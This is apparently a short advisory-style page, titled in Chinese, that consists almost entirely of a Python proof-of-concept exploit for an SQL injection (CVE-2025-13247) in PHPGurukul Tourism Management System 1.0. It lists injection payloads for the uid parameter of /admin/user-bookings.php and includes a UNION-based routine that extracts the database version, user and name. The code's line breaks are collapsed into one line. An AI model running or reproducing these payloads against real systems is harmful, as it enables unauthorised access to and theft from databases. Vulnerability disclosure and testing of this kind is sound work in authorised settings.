CVE-2025-13247 PHPGurukul Tourism Management System 1.0 SQL注入漏洞

import requests # CVE-2025-13247 SQL Injection PoC # Target: PHPGurukul Tourism Management System 1.0 # Endpoint: /admin/user-bookings.php # Parameter: uid target_url = "http://target.com/admin/user-bookings.php" # Basic SQL Injection test - detect vulnerability payloads = [ "1'", "1 OR 1=1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--" ] def test_sql_injection(): print("[*] Testing CVE-2025-13247 SQL Injection") for payload in payloads: params = {"uid": payload} try: response = requests.get(target_url, params=params, timeout=10) if "error" in response.text.lower() or response.status_code == 500: print(f"[+] Potential SQL Injection detected with payload: {payload}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Data extraction example using UNION-based injection def extract_database_info(): # Extract database version, user, and database name union_payload = "1' UNION SELECT NULL,NULL,NULL,VERSION(),USER(),DATABASE()--" params = {"uid": union_payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Database Information Extracted") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if test_sql_injection(): print("[+] Vulnerability confirmed!") extract_database_info() else: print("[-] No SQL Injection detected")